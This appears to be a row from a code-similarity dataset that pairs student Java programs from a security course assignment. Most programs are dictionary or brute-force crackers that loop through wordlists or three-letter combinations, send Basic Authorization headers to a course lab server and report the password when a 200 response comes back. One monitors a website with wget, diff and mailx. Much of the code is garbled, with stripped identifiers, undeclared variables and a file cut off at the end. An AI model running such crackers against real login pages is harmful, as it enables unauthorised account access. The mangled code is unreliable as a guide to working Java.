F1 text_1 related_pairs 218.java " import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { Process p1,p2,p3,p4,p5; for(;;) { String s1[] = {""/usr/local//tcsh"", ""-c"", ""mailx -s \""Part 2-Assignment2 \"" < change.html""}; String s2[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./images/*.* predir""}; String s3[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./students/*.* predir""}; String s4[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./images/*.* postdir""}; String s5[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./students/*.* postdir""}; String s6[] = {""/usr/local//tcsh"", ""-c"", ""diff copy1 copy2 > diff.html""}; Process p = Runtime.getRuntime().exec(""mkdir predir""); p.waitFor(); Process p1 = Runtime.getRuntime().exec(""mkdir postdir""); p1.waitFor(); p1 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/""); p1.waitFor(); Process q2 = Runtime.getRuntime().exec(s2); q2.waitFor(); Process q3 = Runtime.getRuntime().exec(s3); q2.waitFor(); Thread.sleep(86400000); p3 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/""); p3.waitFor(); Process q4 = Runtime.getRuntime().exec(s4); q4.waitFor(); Process q5 = Runtime.getRuntime().exec(s5); q5.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s6); DataInputStream inp1 = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println(""The WatchDog - Returns 0 if change else 1""); System.out.println(""Value :"" + p4.exitValue()); try { while ((str = inp1.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e ) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader(""change.html"")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream inp2 = new DataInputStream(p5.getInputStream()); p5.waitFor(); try { while ((str1 = inp2.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException exp) { exp.printStackTrace(); } } } } } " 195.java 086.java "import java.net.*; import java.io.*; import java.*; public class BruteForce { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ BruteForce a = new BruteForce(); String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", """", """"}; int attempts = 0; exit: for (int i=0;i= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " "242.java 222.java" 216.java " import java.io.*; import java.net.*; import java.util.*; import java.*; public class Dictionary { public static void main(String args[]) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); int flag=1; String filename = ""words""; try { String urlString = new String(""http://sec-crack.cs.rmit.edu./SEC/2/""); String thePassword= new String(); BufferedReader inputStream= new BufferedReader(new FileReader(filename)); String line=inputStream.readLine(); stime = System.currentTimeMillis(); while (line!= null && flag==1) { try { URL url = new URL (urlString); String userPassword = """" + "":"" + line; String encoding = new url.misc.BASE64Encoder().encode(userPassword.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty(""Authorization"", "" "" + encoding); InputStream content = (InputStream)uc.getContent(); endtime = System.currentTimeMillis(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line2; while ((line2 = in.readLine()) != null) { pw.println (line2); } flag=0; System.out.println(""process time is : "" +(endtime-stime)/1000 +"" seconds.""); }catch (MalformedURLException e) { flag=1; }catch (IOException e) { flag=1; } line=inputStream.readLine(); } inputStream.close(); } catch(FileNotFoundException e) { System.err.println(""File ""+filename+"" was not found""); } catch(IOException e) { System.err.println(""Error ""); } System.out.println(""content is ""+ sw.toString()); } }" "211.java 061.java" 224.java " import java.io.*; import java.text.*; import java.util.*; import java.net.*; public class Dictionary extends Thread { private static final String USERNAME = """"; private static final String DICTIONARY_FILE = ""/usr/share/lib/dict/words""; private static int NUMBER_OF_THREAD = 500; private static Date startDate = null; private static Date endDate = null; private String address; private String password; public Dictionary(String address, String password) { this.address = address; this.password = password; } public static void main(String[] args) throws IOException { if (args.length < 1) { System.err.println(""Invalid usage!""); System.err.println(""Usage: java Dictionary ""); System.exit(1); } try { dic(args[0], USERNAME); } catch(Exception e) { e.printStackTrace(); System.exit(1); } } public static void dic(String address, String user) { Dictionary [] threads = new Dictionary[NUMBER_OF_THREAD]; int index = 0; startDate = new Date(); try { BufferedReader buff = new BufferedReader(new FileReader(DICTIONARY_FILE)); String password = null; while((password = buff.readLine()) != null) { if (threads[index] != null && threads[index].isAlive()) { try { threads[index].join(); } catch(InterruptedException e) {} } threads[index] = new Dictionary(address, password.trim()); threads[index].get(); index = (index++) % threads.length; } } catch(Exception e) { e.printStackTrace(); } } public void run() { if (endDate != null) return; try { URLConnection conn = (new URL(address)).openConnection(); conn.setDoInput(true); if (login(conn, USERNAME, password)) { endDate = new Date(); System.out.println(""Found the password: \""""+password+""\""!""); SimpleDateFormat format = new SimpleDateFormat(""dd/MM/yyyy HH:mm:""); System.out.println(""Process started at: ""+format.format(startDate)); System.out.println(""Process started at: ""+format.format(endDate)); double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000; System.out.println(""Time taken: ""+timeTaken+"" minutes""); System.exit(0); } else { System.out.println(""Password: \""""+password+""\"" Failed!""); return; } } catch(Exception e) { e.printStackTrace(); } } public static boolean login(URLConnection conn, String user, String pass) { try { String encodeAuth = "" ""+Base64Encoder.encode(user+"":""+pass); conn.setRequestProperty (""Authorization"", encodeAuth); conn.connect(); conn.getInputStream(); } catch(Exception e) { return false; } return true; } } " 221.java 190.java " import java.awt.*; import java.String; import java.util.*; import java.io.*; import java.net.*; public class Dictionary { private URL url; private HttpURLConnection connection ; private int stopTime = 0; private int startTime = 0; private int count = 0; public Dictionary() { System.out.println(""Process is running...""); startTime = System.currentTimeMillis(); findWords(); } public static void main(String args[]) { Dictionary sc = new Dictionary(); } public void findWords() { try { BufferedReader input = new BufferedReader(new FileReader (""words"")); String text; while ((text = input.readLine()) != null) { if ((text.length() == 3) || (text.length() == 2)) { count++; decision(text); } } } catch (IOException io) { System.out.println(""File Error: "" + io.getMessage()); } } public void decision(String s1) { if (find(s1) == 200) { stopTime = System.currentTimeMillis(); runTime = stopTime - startTime; System.out.println(""***************************************""); System.out.println(""\nAttack successfully""); System.out.println(""\nPassword is: "" + s1); System.out.println(""\nThe contents of the Web site: ""); displayContent(s1); System.out.println(""\nTime taken crack: "" + runTime + "" millisecond""); System.out.println(""\nNumber of attempts: "" + count); System.out.println(); System.exit(0); } } public int find(String s1) { int responseCode = 0; try { url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); connection = (HttpURLConnection)url.openConnection(); connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + s1)); responseCode = connection.getResponseCode(); }catch (Exception e) { System.out.println(e.getMessage()); } return responseCode; } public void displayContent(String pw) { BufferedReader bw = null ; try { url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); connection = (HttpURLConnection)url.openConnection(); connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + pw)); InputStream stream = (InputStream)(connection.getContent()); if (stream != null) { InputStreamReader reader = new InputStreamReader (stream); bw = new BufferedReader (reader); String line; while ((line = bw.readLine()) != null) { System.out.println(line); } } } catch (IOException e) { System.out.println(e.getMessage()); } } } " 188.java 017.java " import javax.swing.*; public class Dictionary { public static void main( String args[] ) { PasswordCombination pwdCombination; pwdCombination = new PasswordCombination(); } } " 022.java 258.java " import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class Dictionary { public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); Dictionary dict = new Dictionary(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public Dictionary(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; String word = null; String usrName = """"; String usrNamePwd = null; String encoding = null; URL = new URL(urlPath); BufferedReader inputStream = new BufferedReader(new FileReader(""words"")); word = inputStream.readLine(); while(word != null) { if(word.length() <= 3){ usrNamePwd = usrName +"":""+ word; encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes()); connection = (HttpURLConnection).openConnection(); connection.setRequestProperty(""Authorization"", "" "" + encoding); System.out.println(word); if(connection.getResponseCode() == 200){ System.out.println(""Password Found "" +word); return true; } connection.disconnect(); } word = inputStream.readLine(); } System.out.println(""Password not found"" ); return false; } public class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } " "257.java 048.java 185.java 059.java 183.java" 105.java " import java.io.*; import java.net.*; import java.misc.BASE64Encoder; public class Dictionary { public Dictionary() {} public boolean fetchURL(String urlString,String username,String password) { StringWriter sw= new StringWriter(); PrintWriter pw = new PrintWriter(); try{ URL url=new URL(urlString); String userPwd= username+"":""+password; BASE64Encoder encoder = new BASE64Encoder(); String encodedStr = encoder.encode (userPwd.getBytes()); System.out.println(""Original String = "" + userPwd); System.out.println(""Encoded String = "" + encodedStr); HttpURLConnection huc=(HttpURLConnection) url.openConnection(); huc.setRequestProperty( ""Authorization"","" ""+encodedStr); InputStream content = (InputStream)huc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); System.out.println(""""); System.out.println(sw.toString()); }return true; } catch (MalformedURLException e) { pw.println (""Invalid URL""); return false; } catch (IOException e) { pw.println (""Error URL""); return false; } } public void getPassword() { String dictionary=""words""; String urlString=""http://sec-crack.cs.rmit.edu./SEC/2/""; String login=""""; String pwd="" ""; try { BufferedReader inputStream=new BufferedReader(new FileReader(dictionary)); startTime=System.currentTimeMillis(); while (pwd!=null) { pwd=inputStream.readLine(); if(this.fetchURL(urlString,login,pwd)) { finishTime=System.currentTimeMillis(); System.out.println(""Finally I gotta it, password is : ""+pwd); System.out.println(""The time for cracking password is: ""+(finishTime-startTime) + "" milliseconds""); System.exit(1); } } inputStream.close(); } catch(FileNotFoundException e) { System.out.println(""Dictionary not found.""); } catch(IOException e) { System.out.println(""Error dictionary""); } } public static void main(String[] arguments) { BruteForce bf=new BruteForce(); bf.getPassword(); } }" 103.java 243.java "import java.net.*; import java.io.*; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""""); String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php""); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println(""Password Cracked Successfully!!!""); System.out.println(""The passsword is :"" + passwd + ""and got after "" +attempts + "" tries""); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println(""Message :"" +r); Dictionary a = new Dictionary(); a.attack(args); } else { System.out.println(""Trying again""); Dictionary a = new Dictionary(); a.attack(args); } } } public String getPasswd() { int i=0;int j=0; attempts++; int count =0; System.out.println(""Passing dictionary word and waiting for URL reply....... ""); String currentword = """"; String se = """"; try{ FileInputStream reader = new FileInputStream (""words""); DataInputStream in = new DataInputStream(reader); while (in.available() !=0) { currentword = in.readLine(); count++; } } catch( IOException e){} return currentword; } public InputStream openURLForInput (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setDoInput (true); conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " "087.java 155.java 242.java" 258.java " import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class Dictionary { public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); Dictionary dict = new Dictionary(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public Dictionary(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; String word = null; String usrName = """"; String usrNamePwd = null; String encoding = null; URL = new URL(urlPath); BufferedReader inputStream = new BufferedReader(new FileReader(""words"")); word = inputStream.readLine(); while(word != null) { if(word.length() <= 3){ usrNamePwd = usrName +"":""+ word; encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes()); connection = (HttpURLConnection).openConnection(); connection.setRequestProperty(""Authorization"", "" "" + encoding); System.out.println(word); if(connection.getResponseCode() == 200){ System.out.println(""Password Found "" +word); return true; } connection.disconnect(); } word = inputStream.readLine(); } System.out.println(""Password not found"" ); return false; } public class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } " "257.java 048.java 185.java 059.java 183.java" 150.java " import java.net.*; import java.io.*; import java.util.Date; public class Dictionary{ private static String password="" ""; public static void main(String[] args) { String Result=""""; if (args.length<1) { System.out.println(""Correct Format Filename username e.g<>""); System.exit(1); } Dictionary dicton1 = new Dictionary(); Result=dicton1.Dict(""http://sec-crack.cs.rmit.edu./SEC/2/"",args[0]); System.out.println(""Cracked Password for The User ""+args[0]+"" The Password is..""+Result); } private String Dict(String urlString,String username) { int cnt=0; FileInputStream stream=null; DataInputStream word=null; try{ stream = new FileInputStream (""/usr/share/lib/dict/words""); word =new DataInputStream(stream); t0 = System.currentTimeMillis(); while (word.available() !=0) { password=word.readLine(); if (password.length()!=3) { continue; } System.out.print(""crackin...:""); System.out.print(""\b\b\b\b\b\b\b\b\b\b\b"" ); URL url = new URL (urlString); String userPassword=username+"":""+password; String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); URLConnection conc = url.openConnection(); conc.setRequestProperty (""Authorization"", "" "" + encoding); conc.connect(); cnt++; if (conc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK"")) { System.out.println(""The Number Of Attempts : ""+cnt); t1 = System.currentTimeMillis(); net=t1-t0; System.out.println(""Total Time in secs...""+net/1000); return password; } } } catch (Exception e ) { e.printStackTrace(); } try { word.close(); stream.close(); } catch (IOException e) { System.out.println(""Error in closing input file:\n"" + e.toString()); } return ""Password could not found""; } }" 148.java 250.java " class C { private static byte[] cvtTable = { (byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E', (byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J', (byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O', (byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T', (byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y', (byte)'Z', (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e', (byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j', (byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o', (byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t', (byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y', (byte)'z', (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4', (byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9', (byte)'+', (byte)'/' }; static String encode(String name, String passwd) { byte input[] = (name + "":"" + passwd).getBytes(); byte[] output = new byte[((input.length / 3) + 1) * 4]; int ridx = 0; int chunk = 0; for (int i = 0; i < input.length; i += 3) { int left = input.length - i; if (left > 2) { chunk = (input[i] << 16)| (input[i + 1] << 8) | input[i + 2]; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = cvtTable[(chunk&0x3F)]; } else if (left == 2) { chunk = (input[i] << 16) | (input[i + 1] << 8); output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = '='; } else { chunk = input[i] << 16; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = '='; output[ridx++] = '='; } } return new String(output); } }" "159.java 059.java" 140.java "import java.io.*; import java.util.*; import java.net.*; import java.misc.BASE64Encoder; public class BruteForce { public BruteForce() { } public static void main(String[] args) { try { if (args.length != 2 ) { System.out.println(""Usage: java BruteForce ""); System.exit(1); } timeStart = System.currentTimeMillis(); String strPass = applyBruteForce (args[0], args[1]); timeEnd = System.currentTimeMillis(); System.out.println(""\n\n\n\n\tPass Cracked is: "" + strPass); System.out.println(""\tTime taken is (sec):"" + String.valueOf((timeEnd - timeStart)/1000)); } catch(Exception e) { e.printStackTrace(); } } static String applyBruteForce (String URL, String UserName) { String strPass = """"; char ch1, ch2, ch3; System.out.print(""\n\n\n Applying BruteForce Attack: ""); for (ch1 = 'A' ; ch1 <= 'z' ; ch1 ++) { if ( ch1 > 'Z' && ch1 < 'a' ) ch1 = 'a'; for (ch2 = 'A' ; ch2 <= 'z' ; ch2 ++) { if ( ch2 > 'Z' && ch2 < 'a' ) ch2 = 'a'; for (ch3 = 'A' ; ch3 <= 'z' ; ch3 ++) { if ( ch3 > 'Z' && ch3 < 'a' ) ch3 = 'a'; strPass = String.valueOf(ch1) + String.valueOf(ch2) + String.valueOf(ch3); System.out.print(""\b\b\b"" + strPass ); boolean boolResult = applyPass ( URL, UserName, strPass ); if (boolResult) { return strPass; } } } } return ""Could not find match""; } private static boolean applyPass (String strURL, String strUserName, String strPass ) { BASE64Encoder myEncoder = new BASE64Encoder (); try { String str = strUserName + "":"" + strPass; String strEncode = myEncoder.encode(str.getBytes()); URL url = new URL (strURL); URLConnection urlConn = url.openConnection(); urlConn.setRequestProperty (""Authorization"", "" "" + strEncode); urlConn.connect(); String strReply = urlConn.getHeaderField(0); if ( strReply.trim().equalsIgnoreCase(""HTTP/1.1 200 OK"") ) { return true; } } catch (Exception e) { e.printStackTrace (); } return false; } } " 142.java 106.java " import org.apache.commons.httpclient.HttpClient; import org.apache.commons.httpclient.UsernamePasswordCredentials; import org.apache.commons.httpclient.cookie.CookiePolicy; import org.apache.commons.httpclient.methods.GetMethod; public class BruteForce{ static final String LOGON_SITE_HACKER = BruteForcePropertyHelper.getProperty(""logonSite""); static final int LOGON_PORT_HACKER = Integer.valueOf(BruteForcePropertyHelper.getProperty(""logonPort"")).intValue(); static final int USE_PROXY_SERVER = Integer.valueOf(BruteForcePropertyHelper.getProperty(""useProxyServer"")).intValue(); static final int PROXY_PORT = Integer.valueOf(BruteForcePropertyHelper.getProperty(""proxyPort"")).intValue(); static final String PROXY_SERVER = BruteForcePropertyHelper.getProperty(""proxyServer""); static final String PROXY_USENAME = BruteForcePropertyHelper.getProperty(""proxyUserName""); static final String PROXY_PASSWORD = BruteForcePropertyHelper.getProperty(""proxypassword""); static final String GET_METHOD_HACKER = BruteForcePropertyHelper.getProperty(""getMethod""); static final int NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(BruteForcePropertyHelper.getProperty(""numberOfGetsBeforeReleaseConnection"")).intValue(); static final String[] cValidChars = {""a"",""b"",""c"",""d"",""e"",""f"",""g"",""h"",""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"",""q"",""r"",""s"",""t"",""u"",""v"",""w"",""x"",""y"",""z"",""A"",""B"",""C"",""D"",""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"",""O"",""P"",""Q"",""R"",""S"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z""}; public BruteForce() { super(); } public static void main (String[] args) throws Exception { String statusLine = "" ""; int count = 0; int firstLetterIndex = 0; int secondLetterIndex = 0; int thirdLetterIndex = 0; int divValue = 0; String userName = """"; String password = """"; HttpClient client = new HttpClient(); if (USE_PROXY_SERVER == 1) { client.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT); client.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME, PROXY_PASSWORD)); } client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY); client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER, ""http""); GetMethod getMethod = new GetMethod(GET_METHOD_HACKER); count = 0; for (int f = 0; f < 52; f++) { firstLetterIndex = f; password = cValidChars[firstLetterIndex]; System.out.println(""Count: ""+ count + "" First Index: ""+ firstLetterIndex+ "" password: ""+ password); client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password)); client.executeMethod(getMethod); statusLine = getMethod.getStatusLine().toString(); if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) { System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password); System.exit(0); } } count = 0; for (int g = 0; g < 52; g++) { firstLetterIndex = g; for (int h = 0; h < 52; h++) { secondLetterIndex = h; password = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]; System.out.println(""Count: ""+ count+ "" First Index: ""+ firstLetterIndex+ "" Second Index: ""+ secondLetterIndex+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ "" password: ""+ password); client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password)); ++count; divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE; if (divValue == 0) { System.out.println(""Count: ""+ count+ "" Div Value: ""+ divValue + "" Releasing the connection and getting new one""); getMethod.releaseConnection(); getMethod = null; getMethod = new GetMethod(GET_METHOD_HACKER); } client.executeMethod(getMethod); statusLine = getMethod.getStatusLine().toString(); System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password); if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) { System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password); System.exit(0); } } } getMethod.releaseConnection(); getMethod = null; getMethod = new GetMethod(GET_METHOD_HACKER); count = 0; for (int i = 0; i < 52; i++) { firstLetterIndex = i; for (int j = 0; j < 52; j++) { secondLetterIndex = j; for (int k = 0; k < 52; k++) { thirdLetterIndex = k; password = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]; System.out.println(""Count: ""+ count+ "" First Index: ""+ firstLetterIndex+ "" Second Index: ""+ secondLetterIndex+ "" Third Index: ""+ thirdLetterIndex+ "" ""+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ "" password: ""+ password); client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password)); ++count; divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE; if (divValue == 0) { System.out.println(""Count: ""+ count+ "" Div Value: ""+ divValue+ "" Releasing the connection and getting new one""); getMethod.releaseConnection(); getMethod = null; getMethod = new GetMethod(GET_METHOD_HACKER); } client.executeMethod(getMethod); statusLine = getMethod.getStatusLine().toString(); if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) { System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password); System.exit(0); } } } } } } " 111.java 216.java " import java.io.*; import java.net.*; import java.util.*; import java.*; public class Dictionary { public static void main(String args[]) { StringWriter sw = new StringWriter(); 